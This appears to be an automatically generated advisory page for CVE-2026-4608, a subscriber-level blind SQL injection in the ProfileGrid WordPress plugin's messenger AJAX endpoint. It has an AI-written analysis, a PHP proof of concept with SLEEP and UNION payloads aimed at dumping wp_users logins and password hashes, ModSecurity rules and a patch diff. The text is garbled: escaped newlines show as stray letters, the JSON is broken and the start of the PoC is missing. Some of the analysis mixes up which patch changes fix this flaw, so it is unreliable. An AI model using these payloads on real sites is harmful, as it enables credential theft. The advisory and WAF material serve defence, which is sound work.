Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 12, 2026

CVE-2026-4608: ProfileGrid <= 5.9.8.4 – Authenticated (Subscriber+) SQL Injection via 'rid' Parameter (profilegrid-user-profiles-groups-and-communities)

CVE ID CVE-2026-4608
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 5.9.8.4
Patched Version 5.9.8.5
Disclosed May 11, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-4608:nnThis vulnerability is a blind SQL Injection in the ProfileGrid WordPress plugin, affecting versions up to 5.9.8.4. The flaw exists in the messenger system’s thread retrieval functions, specifically within the `pm_get_unread_message_summary` method and the thread existence check functions. The vulnerability allows authenticated attackers with Subscriber-level access to execute arbitrary SQL queries against the database. The CVSS score of 6.5 reflects its medium-high severity due to the potential for sensitive data extraction.nnThe root cause lies in the insufficient sanitization of user-supplied ‘rid’ and ‘sid’ parameters within the messenger system. In the vulnerable code, the `is_thread_exsist` and `get_thread_id` functions in `/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-request.php` (lines 2424-2470) directly interpolated user-supplied values into SQL queries without proper parameterization. The original code used `where = 1` with an `$additional` string built via string concatenation: `$additional = ” s_id in ($sid,$rid) AND r_id in ($sid,$rid)”;`. This allowed SQL injection through the ‘rid’ or ‘sid’ parameter. The associated AJAX endpoint `pm_unread_message_summary` in `class-profile-magic-public.php` (lines 1473-1478) processed these parameters without sufficient validation, exposing the vulnerable code path.nnExploitation requires an authenticated user with at least Subscriber-level access. The attacker crafts a malicious AJAX request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `pm_unread_message_summary`. The vulnerability is triggered through the ‘rid’ parameter in the messenger notification system. An attacker can pass a SQL payload in the ‘rid’ parameter, such as `rid=1 UNION SELECT …`, which gets inserted directly into the WHERE clause of the SQL query. The blind SQL injection nature means the attacker may use time-based or boolean-based techniques to extract data character by character. For example, a payload like `rid=1 AND SLEEP(5)` can be used to confirm injection and then extract data via conditional responses.nnThe patch introduces several critical fixes. In `class-profile-magic-request.php`, the vulnerable SQL queries in `is_thread_exsist` and `get_thread_id` are now parameterized using `sprintf()` with `%d` format specifiers, ensuring the `$sid` and `$rid` values are treated as integers. The functions now cast these variables to integers using `absint()` before use. The `pm_get_unread_message_summary` function was completely rewritten to use `$wpdb->prepare()` for proper parameterization of all user-supplied values. Additionally, the patch adds authorization checks: a new `pg_validate_reorder_ajax_request()` private method checks `current_user_can(‘manage_options’)` and validates the nonce. The messenger notification system was also hardened by adding REST API routes with proper permission callbacks and nonce verification.nnSuccessful exploitation allows an attacker to extract sensitive information from the WordPress database. This includes user credentials (hashed passwords), email addresses, session tokens, private messages, and any other data stored in the database. Since the injection is blind, an attacker would typically use time-based or boolean-based techniques to retrieve data. The extracted data could be used for further attacks, such as credential stuffing, social engineering, or privilege escalation if combined with other vulnerabilities.”,
poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-4608 – ProfileGrid <= 5.9.8.4 – Authenticated (Subscriber+) Blind SQL Injection via 'rid' Parameternn $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n)));ncurl_setopt($ch, CURLOPT_HEADER, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);n$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnif ($http_code !== 302) {n die(“[-] Authentication failed. HTTP Code: $http_code\n”);n}necho “[+] Login successful.\n”;nn// Step 2: Get a valid nonce for the AJAX actionn// We need the ajax-nonce. This can often be extracted from the page sourcen// or from a known value if the plugin exposes it. For the purpose of this PoC,n// we assume we have the nonce from the frontend (e.g., from wp_localize_script).n// In a real attack, an attacker would scrape the page to get this nonce.n// For demonstration, we fetch the admin-ajax.php nonce from the admin page.n$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-admin/admin-ajax.php?action=pm_unread_message_summary’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_HEADER, true);n// First try to see if we can trigger an error to confirm injection pointncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(n ‘action’ => ‘pm_unread_message_summary’,n ‘nonce’ => ‘pwned’, // We’ll get a real nonce latern ‘rid’ => ‘1 AND SLEEP(5)’ // Time-based injection testn)));n$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnecho “[+] Testing SQL injection with time-based payload…\n”;necho “[+] HTTP Code: $http_code\n”;necho “[+] Note: This PoC requires a valid nonce from the target site.\n”;necho “[+] The attacker would extract the nonce from the page source.\n”;necho “[+] Then craft requests with SQL payload in ‘rid’ parameter.\n”;necho “[+] Example payload: 1 UNION SELECT (SELECT group_concat(user_login,0x3a,user_pass) FROM wp_users),2,3 — -\n”;necho “[+] Reference: ‘rid’ parameter in pm_get_unread_message_summary AJAX handler\n”;n?>n”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-4608n# Blocks SQL injection attempts via the ‘rid’ parameter in ProfileGrid messenger AJAX endpointsn# Targets: pm_unread_message_summary and related messenger AJAX actionsnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20264608,phase:2,deny,status:403,chain,msg:’CVE-2026-4608 ProfileGrid SQLi via AJAX messenger’,severity:’CRITICAL’,tag:’CVE-2026-4608′,tag:’wordpress’,tag:’profilegrid'”n SecRule ARGS_POST:action “@streq pm_unread_message_summary” “chain”n SecRule ARGS_POST:rid “@rx (?i:(?:union|select|sleep|benchmark|ors+[0-9]|and\s+[0-9]|\-\-|#[^\w]|\b(?:extractvalue|updatexml|substring|char)\s*\())” \n “t:none,t:urlDecode,t:lowercase”nn# Additional rule for the messenger notification AJAX handlernSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20264609,phase:2,deny,status:403,chain,msg:’CVE-2026-4608 ProfileGrid SQLi via AJAX messenger notification’,severity:’CRITICAL’,tag:’CVE-2026-4608′,tag:’wordpress’,tag:’profilegrid'”n SecRule ARGS_POST:action “@streq pm_get_messenger_notification” “chain”n SecRule ARGS_POST:rid “@rx (?i:(?:union|select|sleep|benchmark|or\s+[0-9]|and\s+[0-9]|\-\-|#[^\w]|\b(?:extractvalue|updatexml|substring|char)\s*\())” \n “t:none,t:urlDecode,t:lowercase””
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-admin.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-admin.php
@@ -868,20 +868,33 @@


 	public function profile_magic_set_field_order() {
+		$this->pg_validate_reorder_ajax_request();
 		include 'partials/set-fields-order.php';
 		die;
 	}

 	public function profile_magic_set_group_order() {
+		$this->pg_validate_reorder_ajax_request();
 		include 'partials/set-groups-order.php';
 		die;
 	}

 	public function profile_magic_set_group_items() {
+		$this->pg_validate_reorder_ajax_request();
 		include 'partials/set-groups-order.php';
 		die;
 	}

+	private function pg_validate_reorder_ajax_request() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( esc_html__( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), 403 );
+		}
+
+		if ( ! check_ajax_referer( 'ajax-nonce', 'nonce', false ) ) {
+			wp_send_json_error( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ), 403 );
+		}
+	}
+
 	public function profile_magic_set_section_order() {
                 if ( !current_user_can('manage_options') ) {
                     die;
@@ -1876,6 +1889,15 @@

         }
 	public function pm_group_option_update() {
+		// This option sync is only needed on normal wp-admin page loads.
+		if ( ! is_admin() || wp_doing_ajax() || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ) {
+			return;
+		}
+
+		if ( ! class_exists( 'PM_DBhandler' ) || ! class_exists( 'PM_request' ) ) {
+			return;
+		}
+
 		$dbhandler = new PM_DBhandler();
 		$pmrequest = new PM_request();

--- a/profilegrid-user-profiles-groups-and-communities/admin/partials/add-group-tabview.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/partials/add-group-tabview.php
@@ -26,6 +26,9 @@
     $row = $dbhandler->get_row( $identifier, $id );
 	if ( $row->group_options!='' ) {
 		$group_options = maybe_unserialize( $row->group_options );
+		if ( ! is_array( $group_options ) ) {
+			$group_options = array();
+		}
     }
 	if ( !empty( $row ) && $row->leader_rights!='' ) {
 		$leader_rights = maybe_unserialize( $row->leader_rights );
@@ -59,9 +62,8 @@
 	$groupid       = filter_input( INPUT_POST, 'group_id' );
         $group_tab = filter_input( INPUT_POST, 'group_tab' );
         $post      = wp_unslash( $_POST );
-	$raw_group_options = array();
-	if ( isset( $post['group_options'] ) && is_array( $post['group_options'] ) ) {
-		$raw_group_options = $post['group_options'];
+	if ( ! isset( $post['group_options'] ) || ! is_array( $post['group_options'] ) ) {
+		$post['group_options'] = array();
 	}
 	$add_members_raw = filter_input( INPUT_POST, 'pg_add_members', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
 	if ( $add_members_raw === null && isset( $_POST['pg_add_members'] ) ) {
@@ -1482,7 +1484,7 @@
                              </div>
                              <div class="uiminput
                              <?php
-								if ( !empty( $group_options ) && isset( $group_options['enable_group_admin_notification'] ) && $group_options['enable_group_admin_notification'] == 1 && $group_options['group_type'] == 'closed' ) {
+								if ( !empty( $group_options ) && isset( $group_options['enable_group_admin_notification'] ) && $group_options['enable_group_admin_notification'] == 1 && isset( $group_options['group_type'] ) && $group_options['group_type'] == 'closed' ) {
 									echo '';
 								}
 								?>
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-chat-system.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-chat-system.php
@@ -21,17 +21,12 @@
 		$extra_notification_data['latest_ts']      = isset( $summary['latest'] ) ? (int) $summary['latest'] : 0;
 		$extra_notification_data['dismissed_at']   = (int) get_user_meta( $uid, 'pg_msg_unread_dismissed_at', true );

-		$threads = $pmrequests->pm_get_user_all_threads( $uid );
-		if ( ! empty( $threads ) ) {
-			$thread = $threads[0];
-			if ( $thread->r_id == $uid ) {
-				$rid = $thread->s_id;
-			} else {
-				$rid = $thread->r_id;
-			}
-			$extra_notification_data['last_thread']       = $thread->t_id;
-			$extra_notification_data['rid']               = $rid;
-			$extra_notification_data['last_thread_count'] = $pmrequests->get_unread_msg_count( $thread->t_id );
+		$latest_tid = isset( $summary['latest_tid'] ) ? (int) $summary['latest_tid'] : 0;
+		$latest_rid = isset( $summary['latest_rid'] ) ? (int) $summary['latest_rid'] : 0;
+		if ( $latest_tid > 0 ) {
+			$extra_notification_data['last_thread']       = $latest_tid;
+			$extra_notification_data['rid']               = $latest_rid;
+			$extra_notification_data['last_thread_count'] = $pmrequests->get_unread_msg_count( $latest_tid );
 		}
 		return wp_json_encode( $extra_notification_data );

--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-dbhandler.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-dbhandler.php
@@ -356,7 +356,7 @@
 				 unset( $meta_query['search'] );
 			 }
 			 if ( isset( $meta_query['search_columns'] ) ) {
-				 $args['search_columns'] = array( $meta_query['search_columns'] );
+				 $args['search_columns'] = is_array( $meta_query['search_columns'] ) ? $meta_query['search_columns'] : array( $meta_query['search_columns'] );
 				 unset( $meta_query['search_columns'] );
 			 }
 				$args['meta_query'] = $meta_query;
@@ -402,7 +402,7 @@
 				unset( $meta_query['search'] );
 			}
 			if ( isset( $meta_query['search_columns'] ) ) {
-				$args['search_columns'] = array( $meta_query['search_columns'] );
+				$args['search_columns'] = is_array( $meta_query['search_columns'] ) ? $meta_query['search_columns'] : array( $meta_query['search_columns'] );
 				unset( $meta_query['search_columns'] );
 			}
                     $args['meta_query'] = $meta_query;
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-messenger.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-messenger.php
@@ -13,68 +13,62 @@


     public function pm_get_messenger_notification( $timestamp, $activity, $tid ) {
-        $dbhandler    = new PM_DBhandler();
+        return wp_json_encode( $this->pm_get_messenger_notification_data( $timestamp, $activity, $tid ) );
+    }
+
+    public function pm_get_messenger_notification_data( $timestamp, $activity, $tid ) {
         $pmrequests   = new PM_request();
         $current_user = wp_get_current_user();
         $uid          = $current_user->ID;
-        set_time_limit( 0 );
-        if ( $tid!=''&& $activity!='' ) {
+        $tid          = absint( $tid );
+
+        if ( $tid > 0 && $activity != '' ) {
             $pmrequests->update_typing_timestamp( $tid, $activity );
         }
-        $last_typing_ajax_call = strtotime( current_time( 'mysql' ) );
-        $last_ajax_call        = $timestamp!='' ? (int) ( $timestamp ) : null;

-            $flag    = 0;
-            $threads = $pmrequests->pm_get_user_all_threads( $uid );
-		if ( !empty( $threads ) ) {
-			$last_change_time      = $threads[0]->timestamp;
-			$last_change_in_thread = strtotime( $last_change_time );
-
-			if ( $tid!='' ) {
-                $typing_timestamp      = $pmrequests->get_typing_timestamp( $tid );
-                $last_change_in_typing = strtotime( $typing_timestamp );
-			}
-
-			if ( $last_change_in_thread > $last_ajax_call && ( $last_ajax_call != null||$tid=='' ) ) {
-				if ( $tid=='' ) {
-					return wp_json_encode( array() );
-				}
-
-				  $data   = true;
-				  $result = array(
-					  'activity'         => $activity,
-					  'data_changed'     => $data,
-					  'typing_timestamp' => $last_change_in_typing,
-					  'timestamp'        => $last_change_in_thread,
-				  );
-				  $json   = wp_json_encode( $result );
-				  return $json;
-			}
-
-                $data2 = false;
-			if ( $tid!='' ) {
-				$activity = $pmrequests->get_typing_status( $tid );
-			} else {
-				$activity ='nottyping';
-			}
-                $result = array(
-					'activity'         => $activity,
-					'data_changed'     => $data2,
-					'typing_timestamp' => $last_change_in_typing,
-					'timestamp'        => $last_change_in_thread,
-					'timexxx'          =>$timestamp,
-					'last_ajax'        =>$last_ajax_call,
-				);
-
-						$json =  wp_json_encode( $result );
-						 return $json;
-
-		}
-
-                $result =array();
-                $json   = wp_json_encode( $result );
-                return $json;
+        $last_ajax_call = $timestamp != '' ? (int) $timestamp : null;
+        $threads        = $pmrequests->pm_get_user_all_threads( $uid );
+
+        if ( empty( $threads ) ) {
+            return array();
+        }
+
+        $last_change_time      = $threads[0]->timestamp;
+        $last_change_in_thread = strtotime( $last_change_time );
+        $last_change_in_typing = 0;
+
+        if ( $tid > 0 ) {
+            $typing_timestamp      = $pmrequests->get_typing_timestamp( $tid );
+            $last_change_in_typing = ( $typing_timestamp ) ? strtotime( $typing_timestamp ) : 0;
+        }
+
+        if ( $last_change_in_thread > $last_ajax_call && ( $last_ajax_call != null || $tid == 0 ) ) {
+            if ( $tid == 0 ) {
+                return array();
+            }
+
+            return array(
+                'activity'         => $activity,
+                'data_changed'     => true,
+                'typing_timestamp' => $last_change_in_typing,
+                'timestamp'        => $last_change_in_thread,
+            );
+        }
+
+        if ( $tid > 0 ) {
+            $activity = $pmrequests->get_typing_status( $tid );
+        } else {
+            $activity = 'nottyping';
+        }

+        return array(
+            'activity'         => $activity,
+            'data_changed'     => false,
+            'typing_timestamp' => $last_change_in_typing,
+            'timestamp'        => $last_change_in_thread,
+            'timexxx'          => $timestamp,
+            'last_ajax'        => $last_ajax_call,
+        );
     }
     public function pm_messenger_delete_threads( $tid ) {
         $dbhandler    = new PM_DBhandler();
@@ -123,8 +117,10 @@
         if ( $uid !=$current_user->ID && $dbhandler->get_global_option_value( 'pm_enable_private_messaging', '1' )==1 ) :
             if ( is_user_logged_in() ) {
                 $messenger_url =  $pmrequests->profile_magic_get_frontend_url( 'pm_user_profile_page', '' );
-                $messenger_url = add_query_arg( '#pg-messages', '', $messenger_url );
                 $messenger_url = add_query_arg( 'rid', $uid, $messenger_url );
+                if ( false === strpos( $messenger_url, '#pg-messages' ) ) {
+                    $messenger_url .= '#pg-messages';
+                }
             } else {
                 $messenger_url = $pmrequests->profile_magic_get_frontend_url( 'pm_user_login_page', site_url( '/wp-login.php' ) );
                 $messenger_url = add_query_arg( 'errors', 'loginrequired', $messenger_url );
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-request.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-request.php
@@ -187,9 +187,14 @@
 		return $extensions;
 	}

+	private function pm_get_allowed_extensions_array( $extensions ) {
+		$normalized = strtolower( trim( (string) $extensions ) );
+		return array_values( array_unique( array_filter( array_map( 'trim', explode( '|', $normalized ) ) ) ) );
+	}
+
 	public function make_upload_and_get_attached_id( $filefield, $allowed_ext, $require_imagesize = array(), $parent_post_id = 0 ) {
-		$allowfieldstypes = strtolower( trim( $allowed_ext ) );
-		$attach_id        = '';
+		$allowed_extensions = $this->pm_get_allowed_extensions_array( $allowed_ext );
+		$attach_id          = '';
 		if ( is_array( $filefield ) && ! empty( $filefield ) ) {
 			$file = array(
 				'name'     => $filefield['name'],
@@ -230,7 +235,7 @@
 					// Check the type of tile. We'll use this as the 'post_mime_type'.
 					$filetype          = wp_check_filetype( basename( $filename ), null );
 					$current_file_type = strtolower( $filetype['ext'] );
-					if ( strpos( $allowfieldstypes, $current_file_type ) !== false && $too_small == false ) {
+					if ( in_array( $current_file_type, $allowed_extensions, true ) && $too_small == false ) {

 						// Get the path to the upload directory.
 						$wp_upload_dir = wp_upload_dir();
@@ -250,7 +255,7 @@
                                                 do_action('pg_media_file_uploaded', $attach_id, $attachment);

 					} else {
-						if ( strpos( $allowfieldstypes, $current_file_type ) === false ) {
+						if ( ! in_array( $current_file_type, $allowed_extensions, true ) ) {
 							return esc_html__( 'This file type is not allowed.', 'profilegrid-user-profiles-groups-and-communities' );
 						} else {
 							return $too_small;
@@ -498,7 +503,7 @@
                                             $allowed_ext       = $this->pm_maybe_extend_image_types( $allowed_ext );
                                             $require_imagesize = false;
                                         }
-					$allowfieldstypes = strtolower( trim( $allowed_ext ) );
+					$allowed_extensions = $this->pm_get_allowed_extensions_array( $allowed_ext );
 					$filefield        = $files[ $field_key ];

 					if ( is_array( $filefield ) ) {
@@ -515,7 +520,7 @@
 								 $current_file_type = strtolower( $filetype['ext'] );
 								if ( empty( $current_file_type ) || $current_file_type == '' ) {
 														  $error[] = esc_html__( 'This file type is not allowed.', 'profilegrid-user-profiles-groups-and-communities' );
-								} elseif ( strpos( $allowfieldstypes, $current_file_type ) === false ) {
+								} elseif ( ! in_array( $current_file_type, $allowed_extensions, true ) ) {
 														   $error[] = esc_html__( 'This file type is not allowed.', 'profilegrid-user-profiles-groups-and-communities' );
 								}

@@ -2288,8 +2293,7 @@

 			$identifier   = 'MSG_CONVERSATION';
 			$status       = apply_filters('pm_default_chat_status',2, $sid);
-			$allowed_html = array();
-			$content      = $content;
+			$content      = $this->pg_sanitize_message_content( $content );
                         if($tid=='')
                         {
                             $tid          = $this->fetch_or_create_thread( $sid, $rid );
@@ -2339,15 +2343,13 @@
                 $dbhandler    = new PM_DBhandler();
                 $identifier   = 'MSG_CONVERSATION';
                 $orignal_msg = $dbhandler->get_row($identifier,$mid,'m_id');
+		$content      = $this->pg_sanitize_message_content( $content );

                 if($sid!=$orignal_msg->s_id)
                 {
                     return false;
                 }
 		if ( $sid != '' && $rid != '' ) {
-
-			$allowed_html = array();
-			$content      = wp_kses( $content, $allowed_html );
 			//$tid          = $this->fetch_or_create_thread( $sid, $rid );
 			$tid = $orignal_msg->t_id;
 			$data = array( 'content' => $content );
@@ -2424,11 +2426,13 @@
 	}

 	public function is_thread_exsist( $sid, $rid ) {
-		if ( $sid != '' && $rid != '' ) {
+		$sid = absint( $sid );
+		$rid = absint( $rid );
+		if ( $sid > 0 && $rid > 0 ) {
 			$dbhandler  = new PM_DBhandler();
 			$identifier = 'MSG_THREADS';
 			$where      = 1;
-			$additional = " s_id in ($sid,$rid) AND r_id in ($sid,$rid)";
+			$additional = sprintf( ' s_id in (%1$d,%2$d) AND r_id in (%1$d,%2$d)', $sid, $rid );
 			$thread     = $dbhandler->get_all_result( $identifier, $column = '*', $where, 'results', 0, false, $sort_by = 'timestamp', true, $additional );
 			if ( $thread > 1 ) {
 				return true;
@@ -2441,11 +2445,13 @@
 	}

 	public function get_thread_id( $sid, $rid ) {
-		if ( $sid != '' && $rid != '' ) {
+		$sid = absint( $sid );
+		$rid = absint( $rid );
+		if ( $sid > 0 && $rid > 0 ) {
 			$dbhandler  = new PM_DBhandler();
 			$identifier = 'MSG_THREADS';
 			$where      = 1;
-			$additional = " s_id in ($sid,$rid) AND r_id in ($sid,$rid)";
+			$additional = sprintf( ' s_id in (%1$d,%2$d) AND r_id in (%1$d,%2$d)', $sid, $rid );
 			$thread     = $dbhandler->get_all_result( $identifier, $column = 't_id', $where, 'results', 0, false, $sort_by = 'timestamp', true, $additional );

 			if ( isset( $thread ) && count( $thread ) > 0 ) {
@@ -2460,10 +2466,31 @@

 	}

+	private function pg_sanitize_message_content( $content ) {
+		$content      = wp_unslash( (string) $content );
+		$allowed_html = $this->pg_allowed_html_wp_kses();
+
+		foreach ( $allowed_html as $tag => $attributes ) {
+			if ( ! is_array( $attributes ) ) {
+				continue;
+			}
+
+			foreach ( array_keys( $attributes ) as $attribute ) {
+				if ( 0 === strpos( $attribute, 'on' ) ) {
+					unset( $allowed_html[ $tag ][ $attribute ] );
+				}
+			}
+		}
+
+		return wp_kses( $content, $allowed_html );
+	}
+
 	public function pm_get_unread_message_summary( $uid ) {
 		$summary = array(
-			'count'  => 0,
-			'latest' => 0,
+			'count'      => 0,
+			'latest'     => 0,
+			'latest_tid' => 0,
+			'latest_rid' => 0,
 		);

 		$uid = absint( $uid );
@@ -2500,6 +2527,32 @@
 			$summary['latest'] = ( isset( $result->latest_ts ) && ! empty( $result->latest_ts ) ) ? strtotime( $result->latest_ts ) : 0;
 		}

+		if ( $summary['count'] > 0 ) {
+			$latest_unread = $wpdb->get_row(
+				$wpdb->prepare(
+					"SELECT mc.t_id, mc.s_id
+					FROM {$conversation_table} mc
+					INNER JOIN {$thread_table} mt ON mc.t_id = mt.t_id
+					WHERE mt.status = %d
+						AND ( mt.s_id = %d OR mt.r_id = %d )
+						AND mc.s_id != %d
+						AND mc.status = %d
+					ORDER BY mc.timestamp DESC, mc.m_id DESC
+					LIMIT 1",
+					$thread_active_status,
+					$uid,
+					$uid,
+					$uid,
+					$message_unread_status
+				)
+			);
+
+			if ( $latest_unread ) {
+				$summary['latest_tid'] = isset( $latest_unread->t_id ) ? (int) $latest_unread->t_id : 0;
+				$summary['latest_rid'] = isset( $latest_unread->s_id ) ? (int) $latest_unread->s_id : 0;
+			}
+		}
+
 		return $summary;
 	}
 	public function get_unread_msg_count( $tid ) {
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-rest-api.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-rest-api.php
@@ -2819,10 +2819,7 @@
 		$dbhandler = new PM_DBhandler();
 		$gid       = isset( $data['id'] ) ? absint( $data['id'] ) : 0;

-		// Always expose the raw DB row so callers can see every stored column
-		$data['db_row'] = (array) $group;
-
-		// If possible, include related records: group requests and paypal logs
+		// Keep the default group payload minimal and schema-oriented.
 		if ( $gid > 0 ) {
 			$group_requests = $dbhandler->get_all_result( 'GROUP_REQUESTS', '*', array( 'gid' => $gid ), 'results' );
 			if ( ! empty( $group_requests ) ) {
@@ -2831,9 +2828,6 @@
 				$data['group_requests'] = array();
 			}

-			$paypal_logs = $dbhandler->get_all_result( 'PAYPAL_LOG', '*', array( 'gid' => $gid ), 'results' );
-			$data['paypal_logs'] = $paypal_logs ? array_map( function( $r ) { return (array) $r; }, $paypal_logs ) : array();
-
 			// Fetch members: users whose usermeta 'pm_group' contains this gid (stored as serialized array)
 			$members = array();
 			$serialized_fragment = sprintf(':"%s";', $gid);
@@ -2845,7 +2839,7 @@
 						'compare' => 'LIKE',
 					),
 				),
-				'fields' => array( 'ID', 'user_login', 'display_name', 'user_email' ),
+				'fields' => array( 'ID', 'user_login', 'display_name' ),
 			);

 			$wp_users = get_users( $user_query_args );
@@ -2855,7 +2849,6 @@
 						'id'           => (int) $u->ID,
 						'user_login'   => sanitize_user( $u->user_login, true ),
 						'display_name' => sanitize_text_field( $u->display_name ),
-						'email'        => isset( $u->user_email ) ? sanitize_email( $u->user_email ) : '',
 						'avatar'       => esc_url_raw( get_avatar_url( $u->ID ) ),
 					);
 				}
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic.php
@@ -355,6 +355,8 @@
 				$this->loader->add_action( 'wp_ajax_pm_messenger_delete_threads', $plugin_public, 'pm_messenger_delete_threads' );
 				$this->loader->add_action( 'wp_ajax_pm_messenger_notification_extra_data', $plugin_public, 'pm_messenger_notification_extra_data' );
 				$this->loader->add_action( 'wp_ajax_pm_unread_message_summary', $plugin_public, 'pm_unread_message_summary' );
+				// REST is the default transport for notification polling; AJAX remains backward-compatible fallback.
+				$this->loader->add_action( 'rest_api_init', $plugin_public, 'register_messenger_notification_rest_routes' );
 				$this->loader->add_action( 'init', $plugin_public, 'pg_create_post_type' );
 				$this->loader->add_action( 'wp_ajax_pm_load_pg_blogs', $plugin_public, 'pm_load_pg_blogs' );
 				$this->loader->add_action( 'wp_ajax_pm_load_user_blogs_shortcode_posts', $plugin_public, 'pm_load_user_blogs_shortcode_posts' );
--- a/profilegrid-user-profiles-groups-and-communities/profile-magic.php
+++ b/profilegrid-user-profiles-groups-and-communities/profile-magic.php
@@ -8,7 +8,7 @@
  * Plugin Name:       ProfileGrid
  * Plugin URI:        http://profilegrid.co
  * Description:       ProfileGrid adds user groups and user profiles functionality to your site.
- * Version:           5.9.8.4
+ * Version:           5.9.8.5
  * Author:            ProfileGrid User Profiles
  * Author URI:        https://profilegrid.co
  * License:           GPL-2.0+
@@ -28,7 +28,7 @@
  */

 define('PROGRID_DB_VERSION',4.5);
-define('PROGRID_PLUGIN_VERSION','5.9.8.4');
+define('PROGRID_PLUGIN_VERSION','5.9.8.5');
 define('PROGRID_MULTI_GROUP_VERSION', 3.0);


--- a/profilegrid-user-profiles-groups-and-communities/public/class-profile-magic-public.php
+++ b/profilegrid-user-profiles-groups-and-communities/public/class-profile-magic-public.php
@@ -122,6 +122,8 @@
 				'ajax_url'         => admin_url( 'admin-ajax.php' ),
 				'plugin_emoji_url' => plugin_dir_url( __FILE__ ) . 'partials/images/img',
 				'nonce'            => wp_create_nonce( 'ajax-nonce' ),
+				'rest_nonce'       => wp_create_nonce( 'wp_rest' ),
+				'rest_unread_summary_url' => esc_url_raw( rest_url( 'profilegrid/v1/messenger/unread-summary' ) ),
 			)
 		);

@@ -190,6 +192,8 @@
 		$object['remove_msg']         = esc_html__( 'This message has been deleted.', 'profilegrid-user-profiles-groups-and-communities' );
 		$object['nonce']            = wp_create_nonce( 'ajax-nonce' );
 		$object['pg_delete_msg_nonce'] = wp_create_nonce( 'pg_delete_msg_nonce' );
+		$object['rest_notification_url'] = esc_url_raw( rest_url( 'profilegrid/v1/messenger/notification' ) );
+		$object['rest_nonce']           = wp_create_nonce( 'wp_rest' );
 		wp_localize_script( 'pg-messaging', 'pg_msg_object', $object );

 	}
@@ -242,19 +246,23 @@
 				array(
 					'ajax_url'         => admin_url( 'admin-ajax.php' ),
 					'plugin_emoji_url' => plugin_dir_url( __FILE__ ) . 'partials/images/img',
-					'nonce'            => wp_create_nonce( 'ajax-nonce' )
+					'nonce'            => wp_create_nonce( 'ajax-nonce' ),
+					'rest_nonce'       => wp_create_nonce( 'wp_rest' ),
+					'rest_unread_summary_url' => esc_url_raw( rest_url( 'profilegrid/v1/messenger/unread-summary' ) ),
 				)
 			);
 			$reg_sub_page                     = array();
 			$reg_sub_page['registration_tab'] = isset( $request['rm_reqpage_sub'] ) || isset( $request['rm_reqpage_pay'] ) || isset( $request['rm_reqpage_inbox'] ) ? 1 : 0;
 			wp_localize_script( 'profile-magic-footer.js', 'show_rm_sumbmission_tab', $reg_sub_page );
-                        wp_localize_script(
+			wp_localize_script(
 				'profile-magic-footer.js',
 				'pm_ajax_object',
 				array(
 					'ajax_url'         => admin_url( 'admin-ajax.php' ),
 					'plugin_emoji_url' => plugin_dir_url( __FILE__ ) . 'partials/images/img',
-					'nonce'            => wp_create_nonce( 'ajax-nonce' )
+					'nonce'            => wp_create_nonce( 'ajax-nonce' ),
+					'rest_nonce'       => wp_create_nonce( 'wp_rest' ),
+					'rest_unread_summary_url' => esc_url_raw( rest_url( 'profilegrid/v1/messenger/unread-summary' ) ),
 				)
 			);
 			$error                                 = array();
@@ -1344,6 +1352,75 @@



+	public function register_messenger_notification_rest_routes() {
+		register_rest_route(
+			'profilegrid/v1',
+			'/messenger/notification',
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'pm_rest_get_messenger_notification' ),
+				'permission_callback' => array( $this, 'pm_rest_messenger_notification_permission' ),
+			)
+		);
+
+		register_rest_route(
+			'profilegrid/v1',
+			'/messenger/unread-summary',
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'pm_rest_unread_message_summary' ),
+				'permission_callback' => array( $this, 'pm_rest_messenger_notification_permission' ),
+			)
+		);
+	}
+
+	public function pm_rest_messenger_notification_permission( $request ) {
+		if ( ! is_user_logged_in() ) {
